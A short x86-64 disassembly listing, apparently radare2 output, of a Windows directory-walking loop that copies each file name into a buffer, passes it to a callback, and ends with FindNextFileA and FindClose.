cmp eax, 0x12
je 0x401cef
lea rax, [rsp + 0x15c]
sub rbx, rax
nop
nop
lea rcx, [rsp + 0x15c]
movzx eax, byte [rcx]
inc rcx
test al, al
mov byte [rbx + rcx - 1], al
jne 0x401cb8
lea rdx, [rsp + 0x20]
mov r8, rbp
mov rcx, r12
call rsi
lea rdx, [rsp + 0x130]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x401cb0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov r12, qword [rsp + 0x270]
mov rdi, qword [rsp + 0x278]
mov rsi, qword [rsp + 0x280]
mov rbp, qword [rsp + 0x288]
mov rbx, qword [rsp + 0x290]
add rsp, 0x298
ret